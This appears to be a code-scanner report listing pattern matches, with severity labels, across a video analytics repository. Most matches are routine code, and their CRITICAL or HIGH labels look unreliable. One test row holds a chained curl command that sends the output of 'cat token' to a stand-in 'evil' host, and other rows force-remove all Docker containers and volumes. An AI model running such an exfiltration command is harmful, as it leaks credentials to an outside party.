| LOW | deploy/tests/test_agent_openai_key.py | 65 | CODE | |
| LOW | deploy/tests/test_helm_release_name_prefix.py | 111 | CODE | |
| LOW | deploy/tests/test_helm_vst_nodeport_urls.py | 17 | CODE | |
| LOW | deploy/helm/scripts/verify-ingress-routes.py | 179 | CODE | |
| LOW | deploy/helm/scripts/verify-ingress-routes.py | 279 | CODE | |
| LOW | deploy/helm/scripts/verify-ingress-routes.py | 368 | CODE | |
| LOW | libs/vss/core/src/sitecustomize.py | 51 | CODE | |
| LOW | libs/vss/core/src/vss_core/memory/notes.py | 196 | CODE | |
| LOW | libs/vss/core/src/vss_core/memory/backfill.py | 99 | CODE | |
| LOW | …vss/core/src/vss_core/memory/backends/elasticsearch.py | 144 | CODE | |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 208 | CODE | |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 409 | CODE | |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 182 | CODE | |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 318 | CODE | |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 365 | CODE | |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 464 | CODE | |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 905 | CODE | |
| LOW | libs/vss/core/src/vss_core/introspection/judge.py | 215 | CODE | |
| LOW | libs/vss/core/src/vss_core/_foundation/time_measure.py | 118 | CODE | |
| LOW | libs/vss/core/src/vss_core/vlm/openai.py | 274 | CODE | |
| LOW | libs/vss/core/src/vss_core/search_core/critic.py | 488 | CODE | |
| LOW | …s/vss/core/src/vss_core/search_core/clients/elastic.py | 156 | CODE | |
| LOW | …rc/vss_core/search_core/_internal/embed_translation.py | 39 | CODE | |
| LOW | …/vss_core/search_core/primitives/_attribute_helpers.py | 448 | CODE | |
| LOW | …/vss_core/search_core/primitives/_attribute_helpers.py | 699 | CODE | |
| LOW | …/vss_core/search_core/primitives/_attribute_helpers.py | 794 | CODE | |
| LOW | …/vss_core/search_core/primitives/_attribute_helpers.py | 1212 | CODE | |
| 1010 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 427 | // Construct using nv.schema.Ext.GeoLocation.Point.newBuilder() | COMMENT |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 453 | return nv.schema.Ext.GeoLocation.Point.getDefaultInstance(); | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 492 | if (other == nv.schema.Ext.GeoLocation.Point.getDefaultInstance()) return this; | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 637 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 1154 | nv.schema.Ext.GeoLocation.Point.parser(), | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 1444 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 1541 | nv.schema.Ext.GeoLocation.Point.getDefaultInstance()); | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 1554 | index, nv.schema.Ext.GeoLocation.Point.getDefaultInstance()); | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 5632 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 5872 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 7250 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 7580 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 7910 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 8240 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 10962 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 11120 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 11783 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 14373 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 14703 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL | …ns/input/redis-stream/src/main/java/nv/schema/Ext.java | 16320 | com.google.protobuf.AbstractMessageLite.Builder.addAll( | CODE |
| CRITICAL⚡ | …t_test/knowledge_retrieval/test_llama_index_adapter.py | 211 | fake_llama_index.vector_store_index_cls.from_vector_store.return_value.as_retriever.assert_called_with( | CODE |
| CRITICAL | …t_test/knowledge_retrieval/test_llama_index_adapter.py | 308 | fake_llama_index.vector_store_index_cls.from_vector_store.return_value.as_retriever.assert_called_with( | CODE |
| CRITICAL⚡ | libs/vss/core/src/vss_core/introspection/models.py | 263 | record_start = record.input.window.start.timestamp.astimezone(UTC) | CODE |
| CRITICAL⚡ | libs/vss/core/src/vss_core/introspection/models.py | 265 | record.input.window.end.timestamp.astimezone(UTC) if record.input.window.end is not None else record_start | CODE |
| CRITICAL⚡ | libs/vss/cli/tests/unit_test/cli/test_vlm_group.py | 1474 | assert rec.input.window.start.timestamp.isoformat().startswith("2025-01-01T00:00:00") | CODE |
| CRITICAL⚡ | libs/vss/cli/tests/unit_test/cli/test_vlm_group.py | 1476 | assert rec.input.window.end.timestamp.isoformat().startswith("2025-01-01T00:00:30") | CODE |
| CRITICAL | libs/vss/cli/src/vss_cli/memory.py | 180 | return (0, record.input.window.start.timestamp.isoformat()) | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 163 | <strong>W1:</strong> X: {reversedTripwireResults.worldCoords.wire.p1.x.toFix | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 164 | {reversedTripwireResults.worldCoords.wire.p1.y.toFixed(3)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 167 | <strong>W2:</strong> X: {reversedTripwireResults.worldCoords.wire.p2.x.toFix | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 168 | {reversedTripwireResults.worldCoords.wire.p2.y.toFixed(3)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 179 | <strong>D1:</strong> X: {reversedTripwireResults.worldCoords.directi | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 180 | Y: {reversedTripwireResults.worldCoords.direction.p1.y.toFixed(3)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 183 | <strong>D2:</strong> X: {reversedTripwireResults.worldCoords.directi | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 184 | Y: {reversedTripwireResults.worldCoords.direction.p2.y.toFixed(3)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 210 | <strong>W1:</strong> X: {reversedTripwireResults.imageCoords.wire.p1.x.toFix | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 211 | {reversedTripwireResults.imageCoords.wire.p1.y.toFixed(2)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 214 | <strong>W2:</strong> X: {reversedTripwireResults.imageCoords.wire.p2.x.toFix | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 215 | {reversedTripwireResults.imageCoords.wire.p2.y.toFixed(2)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 226 | <strong>D1:</strong> X: {reversedTripwireResults.imageCoords.directi | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 227 | Y: {reversedTripwireResults.imageCoords.direction.p1.y.toFixed(2)} | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 230 | <strong>D2:</strong> X: {reversedTripwireResults.imageCoords.directi | CODE |
| CRITICAL⚡ | …s/analyticsComponents/ReverseTransformationResults.tsx | 231 | Y: {reversedTripwireResults.imageCoords.direction.p2.y.toFixed(2)} | CODE |
| CRITICAL | …ices/alert/test/unit/test_default_system_prompt_e2e.py | 246 | vlm.client.chat.completions.create.assert_not_called() | CODE |
| CRITICAL⚡ | services/alert/test/unit/vlm/test_vlm_client_payload.py | 489 | extra = client.client.chat.completions.create.call_args.kwargs.get("extra_body", {}) | CODE |
| CRITICAL | services/alert/test/unit/api/test_incident_service.py | 691 | assert mock_es_client.client.search.call_args.kwargs.get("track_total_hits") is True | CODE |
| CRITICAL | …/behavior-analytics/docs/building-mdx-analytics-app.md | 242 | The `mdx.analytics.core.app.app_runner.run()` function supports these arguments: | CODE |
| CRITICAL | …eo-analytics-api/src/web-api-core/Metrics/Occupancy.js | 569 | queryBody.aggs.fov.aggs.searchAggFilter.filter.bool.filter.push({ | CODE |
| CRITICAL | …eo-analytics-api/src/web-api-core/Metrics/Occupancy.js | 704 | queryBody.aggs.eventsOverTime.aggs.fov.aggs.searchAggFilter.filter.bool.filter.push({ | CODE |
| CRITICAL | …eo-analytics-api/src/web-api-core/Metrics/Occupancy.js | 974 | queryBody.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({ | CODE |
| CRITICAL | …eo-analytics-api/src/web-api-core/Metrics/Occupancy.js | 979 | queryBody.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({ | CODE |
| CRITICAL | …eo-analytics-api/src/web-api-core/Metrics/Occupancy.js | 1154 | queryBody.aggs.eventsOverTime.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({ | CODE |
| CRITICAL | …eo-analytics-api/src/web-api-core/Metrics/Occupancy.js | 1159 | queryBody.aggs.eventsOverTime.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({ | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 207 | queryBody.query.function_score.query.bool.must.push({ exists: { field: "info.cluster.index" } }); | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 208 | queryBody.query.function_score.query.bool.must.push({ term: { "sensor.id.keyword": sensorId } }); | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 209 | queryBody.query.function_score.query.bool.must.push({ range: { timestamp: { lte: toTimestamp } } }); | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 210 | queryBody.query.function_score.query.bool.must.push({ range: { end: { gte: fromTimestamp } } }); | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 211 | queryBody.query.function_score.query.bool.must.push({ term: { "info.cluster.modelVersion.keyword": modelVersion | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 212 | queryBody.query.function_score.query.bool.must.push({ range: { distance: { gte: minBehaviorDistance } } }); | CODE |
| CRITICAL⚡ | …-analytics-api/src/web-api-core/Services/Clustering.js | 214 | queryBody.query.function_score.query.bool.must.push({ term: { "info.cluster.index.keyword": clusterIndex } } | CODE |
| 1 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/message-broker-consumers/redis_to_file.py | 35 | logger = logging.getLogger(__name__) | CODE |
| LOW | tools/message-broker-consumers/kafka_to_file.py | 35 | logger = logging.getLogger(__name__) | CODE |
| LOW | tools/message-broker-consumers/base_consumer.py | 41 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/sitecustomize.py | 26 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/memory/store.py | 206 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 32 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 753 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/models.py | 307 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/__init__.py | 19 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/notes.py | 258 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/embeddings.py | 278 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/backfill.py | 119 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/adapters.py | 384 | __all__ = [ | CODE |
| LOW | …vss/core/src/vss_core/memory/backends/elasticsearch.py | 42 | logger = logging.getLogger(__name__) | CODE |
| LOW | …vss/core/src/vss_core/memory/backends/elasticsearch.py | 370 | __all__ = ["DEFAULT_MEMORY_INDEX", "ElasticsearchMemoryStore"] | CODE |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 551 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/memory/backends/in_memory.py | 180 | __all__ = ["InMemoryStore"] | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 51 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/vios/__init__.py | 41 | __all__ = [ | CODE |
| LOW⚡ | libs/vss/core/src/vss_core/introspection/models.py | 270 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/introspection/protocols.py | 49 | __all__ = ["AnswerSynthesizer", "IntrospectionVLMRunner", "SufficiencyJudge"] | CODE |
| LOW | libs/vss/core/src/vss_core/introspection/__init__.py | 11 | __all__ = [ | CODE |
| LOW | …bs/vss/core/src/vss_core/introspection/orchestrator.py | 373 | __all__ = ["introspect"] | CODE |
| LOW | libs/vss/core/src/vss_core/introspection/judge.py | 278 | __all__ = ["InvalidJudgeResponseError", "OpenAIIntrospectionClient"] | CODE |
| LOW | libs/vss/core/src/vss_core/_foundation/__init__.py | 9 | __all__ = ["BackendUnreachableError", "ConfigurationError", "LibraryError"] | CODE |
| LOW | libs/vss/core/src/vss_core/_foundation/retry.py | 27 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/_foundation/time_measure.py | 33 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/vlm/__init__.py | 9 | __all__ = ["OpenAIVLMAnalyzer", "VLMAnalyzer", "bound_rt_vlm_fps_sampling"] | CODE |
| LOW | libs/vss/core/src/vss_core/vlm/openai.py | 37 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/knowledge/__init__.py | 25 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/knowledge/factory.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | …s/core/src/vss_core/knowledge/adapters/arango_graph.py | 41 | logger = logging.getLogger(__name__) | CODE |
| LOW | …ss/core/src/vss_core/knowledge/adapters/llama_index.py | 41 | logger = logging.getLogger(__name__) | CODE |
| LOW | …s/vss/core/src/vss_core/knowledge/adapters/frag_api.py | 40 | logger = logging.getLogger(__name__) | CODE |
| LOW | …vss/core/src/vss_core/knowledge/adapters/es_caption.py | 47 | logger = logging.getLogger(__name__) | CODE |
| LOW | …/vss/core/src/vss_core/knowledge/adapters/langchain.py | 42 | logger = logging.getLogger(__name__) | CODE |
| LOW | …s/vss/core/src/vss_core/knowledge/adapters/frag_lib.py | 43 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/search_core/host.py | 56 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/search_core/__init__.py | 38 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/search_core/errors.py | 28 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/search_core/critic.py | 59 | logger = logging.getLogger(__name__) | CODE |
| LOW | …/core/src/vss_core/search_core/clients/cosmos_embed.py | 40 | logger = logging.getLogger(__name__) | CODE |
| LOW | …core/src/vss_core/search_core/clients/rtvi_cv_embed.py | 37 | logger = logging.getLogger(__name__) | CODE |
| LOW | …/vss/core/src/vss_core/search_core/clients/__init__.py | 27 | __all__ = [ | CODE |
| LOW | …s/vss/core/src/vss_core/search_core/clients/elastic.py | 57 | logger = logging.getLogger(__name__) | CODE |
| LOW | …ore/src/vss_core/search_core/_internal/time_measure.py | 28 | __all__ = ["LOG_PERF_LEVEL", "LOG_STATUS_LEVEL", "TimeMeasure", "collect_timings"] | CODE |
| LOW | …s/vss/core/src/vss_core/search_core/models/__init__.py | 35 | __all__ = [ | CODE |
| LOW | …/vss_core/search_core/primitives/_attribute_helpers.py | 65 | logger = logging.getLogger(__name__) | CODE |
| LOW | …rc/vss_core/search_core/primitives/attribute_search.py | 37 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | …ss/core/src/vss_core/search_core/primitives/_fusion.py | 48 | logger = logging.getLogger(__name__) | CODE |
| LOW | …re/src/vss_core/search_core/primitives/embed_search.py | 63 | logger = logging.getLogger(__name__) | CODE |
| LOW | …s/core/src/vss_core/search_core/primitives/__init__.py | 27 | __all__ = ["AttributeSearch", "EmbedSearch", "Search", "TagSearch"] | CODE |
| LOW | …src/vss_core/search_core/primitives/_search_helpers.py | 75 | logger = logging.getLogger(__name__) | CODE |
| LOW | …core/src/vss_core/search_core/primitives/tag_search.py | 43 | logger = logging.getLogger(__name__) | CODE |
| LOW | libs/vss/core/src/vss_core/analytics/client.py | 490 | __all__ = [ | CODE |
| LOW | libs/vss/core/src/vss_core/analytics/__init__.py | 11 | __all__ = [ | CODE |
| LOW | libs/vss/cli/src/vss_cli/memory_notes.py | 34 | __all__ = ["write"] | CODE |
| LOW | libs/vss/cli/src/vss_cli/memory_cmd.py | 41 | def set_test_memory(memory: Memory | None) -> None: | CODE |
| LOW | libs/vss/cli/src/vss_cli/memory_cmd.py | 471 | __all__ = ["MEMORY", "memory", "set_test_introspect", "set_test_memory"] | CODE |
| LOW | libs/vss/cli/src/vss_cli/persistence.py | 50 | __all__ = ["mark_terminal"] | CODE |
| 542 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | deploy/docker/services/agent/search_prompt_policy.py | 26 | {{"timestamp_start": null, "timestamp_end": null}}.""" | CODE |
| HIGH⚡ | deploy/tests/test_search_prompt_policy.py | 96 | assert '{"timestamp_start": null, "timestamp_end": null}' in rendered | CODE |
| HIGH | …ofile-search/configs/vss-agent/search_prompt_policy.py | 26 | {{"timestamp_start": null, "timestamp_end": null}}.""" | CODE |
| HIGH | …/vss_core/search_core/primitives/_attribute_helpers.py | 477 | " if (obj.id == params.target_id && obj.containsKey('embedding') && obj.embedding.containsKey('vector')) | CODE |
| HIGH | …/vss_core/search_core/primitives/_attribute_helpers.py | 487 | " if (normA > 0 && normB > 0) { " | CODE |
| HIGH | …/src/vss_core/search_core/primitives/_embed_helpers.py | 370 | # absent, null, or (rarely) a non-string, none of which should crash mapping. | COMMENT |
| HIGH | …sts/unit_test/cli/test_search_verification_contract.py | 569 | count=$(cat "${CURL_COUNT}" 2>/dev/null || printf '0') | CODE |
| HIGH | libs/vss/cli/src/vss_cli/params.py | 151 | defaults with null, so an unspecified flag must be absent, not empty. | STRING |
| HIGH | libs/vss/cli/src/vss_cli/summarize/group.py | 121 | request rather than sent as null, so the backend's own defaults apply. | STRING |
| HIGH⚡ | …-data-utils/tests/loaders/test_calibration_variants.py | 122 | (catches malformed exports — e.g. ``sensors: [null]``).""" | STRING |
| HIGH | .openclaw/tests/test_runtime_instructions.py | 236 | if (!baseline.wrapped || configured.wrapped || configured.command !== '/bin/bash') { | CODE |
| HIGH⚡ | .github/osrb/test_osrb_agent.py | 792 | "curl https://pypi.org/x && curl https://evil/$(cat token)", | CODE |
| HIGH | …b/skill-eval/tests/test_vss_summarize_eval_contract.py | 467 | assert guarded.count("return 1 2>/dev/null || exit 1") == 2 | CODE |
| HIGH | …/adapters/vss-deploy-detection-tracking-2d/generate.py | 127 | " curl -sf --max-time 2 http://localhost:9000/api/v1/ready >/dev/null 2>&1 && break\n" | CODE |
| HIGH | …/adapters/vss-deploy-detection-tracking-2d/generate.py | 170 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | .github/skill-eval/adapters/vss-ask-video/generate.py | 132 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | .github/skill-eval/adapters/vss-ask-video/generate.py | 150 | 'command -v vss >/dev/null || uv tool install "${VSS_REPO_ROOT:-$HOME/video-search-and-summarization}/libs/vss/c | CODE |
| HIGH | …ub/skill-eval/adapters/vss-query-analytics/generate.py | 117 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …ub/skill-eval/adapters/vss-query-analytics/generate.py | 136 | 'command -v vss >/dev/null || uv tool install "$REPO/libs/vss/cli"\n' | CODE |
| HIGH | …ill-eval/adapters/profile-vllm-performance/generate.py | 27 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n\n" | CODE |
| HIGH | …ub/skill-eval/adapters/vss-build-vision-ai/generate.py | 158 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH⚡ | …ub/skill-eval/adapters/vss-summarize-video/generate.py | 113 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …al/adapters/vss-generate-video-calibration/generate.py | 107 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH⚡ | …eval/adapters/vss-setup-behavior-analytics/generate.py | 156 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH⚡ | …eval/adapters/vss-setup-behavior-analytics/generate.py | 236 | " | grep -qx vss-behavior-analytics && break\n" | CODE |
| HIGH | …eval/adapters/vss-setup-behavior-analytics/generate.py | 186 | "if ! command -v docker &>/dev/null; then\n" | CODE |
| HIGH | …eval/adapters/vss-setup-behavior-analytics/generate.py | 192 | " docker login nvcr.io -u '\\$oauthtoken' -p \"$NGC_CLI_API_KEY\" 2>/dev/null || true\n" | CODE |
| HIGH⚡ | …thub/skill-eval/adapters/vss-manage-alerts/generate.py | 166 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …-eval/adapters/vss-manage-video-io-storage/generate.py | 76 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …-eval/adapters/vss-deploy-dense-captioning/generate.py | 150 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH⚡ | …val/adapters/vss-setup-video-analytics-api/generate.py | 179 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH⚡ | …val/adapters/vss-setup-video-analytics-api/generate.py | 265 | " curl -sf --max-time 5 http://localhost:8081/livez >/dev/null 2>&1 && break\n" | CODE |
| HIGH⚡ | …val/adapters/vss-setup-video-analytics-api/generate.py | 268 | 'curl -sf --max-time 15 http://localhost:8081/livez && echo "OK" || echo "DOWN"\n' | CODE |
| HIGH | …val/adapters/vss-setup-video-analytics-api/generate.py | 209 | "if ! command -v docker &>/dev/null; then\n" | CODE |
| HIGH | …val/adapters/vss-setup-video-analytics-api/generate.py | 215 | " docker login nvcr.io -u '\\$oauthtoken' -p \"$NGC_CLI_API_KEY\" 2>/dev/null || true\n" | CODE |
| HIGH | …val/adapters/vss-setup-video-analytics-api/generate.py | 251 | " curl -sf --max-time 5 http://localhost:9200/_cluster/health >/dev/null 2>&1 && break\n" | CODE |
| HIGH | …ll-eval/adapters/vss-generate-video-report/generate.py | 110 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …/adapters/vss-deploy-detection-tracking-3d/generate.py | 152 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …l-eval/adapters/vss-deploy-video-embedding/generate.py | 144 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | CODE |
| HIGH | …l-eval/adapters/vss-deploy-video-embedding/generate.py | 178 | "if ! command -v docker &>/dev/null; then", | CODE |
| HIGH | …l-eval/adapters/vss-deploy-video-embedding/generate.py | 184 | " docker login nvcr.io -u '\\$oauthtoken' -p \"$NGC_CLI_API_KEY\" 2>/dev/null || true", | CODE |
| HIGH | …l-eval/adapters/vss-deploy-video-embedding/generate.py | 239 | " curl -sf --max-time 5 http://localhost:8017/v1/ready >/dev/null 2>&1 && break", | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 232 | CONFIG_JSON=$(vss configure show 2>/dev/null) || { echo "vss not configured — cannot verify fixture indexing" >&2; exit | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 248 | SENSORS=$(bounded_vios_list 2>/dev/null) || { echo "vss vios list failed or exceeded fixture deadline" >&2; exit 1; } | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 256 | (( SAMPLE_EMBED > 0 && LADDER_EMBED > 0 && LADDER_BEHAVIOR > 0 && LADDER_RAW > 0 )); then | CODE |
| HIGH⚡ | …hub/skill-eval/adapters/vss-search-archive/generate.py | 269 | vss configure --base-url "${BASE_URL}" >/dev/null 2>&1 || exit 1 | CODE |
| HIGH⚡ | …hub/skill-eval/adapters/vss-search-archive/generate.py | 271 | printf '%s' "${CONFIG_JSON}" | jq -e --arg a "${EMBED_IDX}" --arg b "${BEHAV_IDX}" --arg c "${RAW_IDX}" '[.services.elas | CODE |
| HIGH⚡ | …hub/skill-eval/adapters/vss-search-archive/generate.py | 271 | printf '%s' "${CONFIG_JSON}" | jq -e --arg a "${EMBED_IDX}" --arg b "${BEHAV_IDX}" --arg c "${RAW_IDX}" '[.services.elas | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 285 | SENSORS=$(bounded_vios_list 2>/dev/null) || { echo "vss vios list failed or exceeded fixture deadline" >&2; exit 1; } | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 291 | (( LADDER_EMBED == 0 && LADDER_BEHAVIOR == 0 && LADDER_RAW == 0 )); then | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 333 | "python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 || true\n" | STRING |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 354 | 'command -v vss >/dev/null || uv tool install "${VSS_REPO_ROOT}/libs/vss/cli"\n' | CODE |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 383 | 'command -v vss >/dev/null || uv tool install "${VSS_REPO_ROOT}/libs/vss/cli"\n' | CODE |
| HIGH⚡ | .github/skill-eval/envs/mount_probe.py | 95 | for cid in $(docker ps -q 2>/dev/null); do | CODE |
| HIGH⚡ | .github/skill-eval/envs/mount_probe.py | 103 | if [ -d "$src" ]; then srcex=1; hi=$(stat -Lc '%i' "$src" 2>/dev/null); else srcex=0; hi=; fi | CODE |
| HIGH⚡ | .github/skill-eval/envs/mount_probe.py | 104 | ci=$(docker exec "$cid" stat -Lc '%i' "$dst" 2>/dev/null) | CODE |
| HIGH⚡ | .github/skill-eval/envs/mount_probe.py | 105 | cl=$(docker exec "$cid" stat -Lc '%h' "$dst" 2>/dev/null) | CODE |
| HIGH⚡ | .github/skill-eval/envs/mount_probe.py | 106 | if docker exec "$cid" test -w "$dst" 2>/dev/null; then w=1; else w=0; fi | CODE |
| HIGH⚡ | .github/skill-eval/envs/brev_env.py | 741 | cids=$(docker ps -aq); [ -n "$cids" ] && docker rm -f $cids >/dev/null 2>&1 || true | CODE |
| HIGH⚡ | .github/skill-eval/envs/brev_env.py | 742 | vols=$(docker volume ls -q); [ -n "$vols" ] && docker volume rm -f $vols >/dev/null 2>&1 || true | CODE |
| 50 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tools/rtvi-cv-mv3dt-utils/generate_pub_sub_configs.py | 39 | # Create the mask | COMMENT |
| MEDIUM | …files/dev-profile-base/eval/eval_output_json_to_csv.sh | 79 | # Create a lookup map from workflow: id -> query | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/download-models.sh | 123 | # This function is called through command substitution. Keep NGC's progress and | COMMENT |
| MEDIUM | …oy/docker/services/infra/elk/kibana/configs/kibana.yml | 3 | # This file is provided under your choice of: (a) the Server Side Public License v1 (SSPLv1); or (b) the GNU Affero Gene | COMMENT |
